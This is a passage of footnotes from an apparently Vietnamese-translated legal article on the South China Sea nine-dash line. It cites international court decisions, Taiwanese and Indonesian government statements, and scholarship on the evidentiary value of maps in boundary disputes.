639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 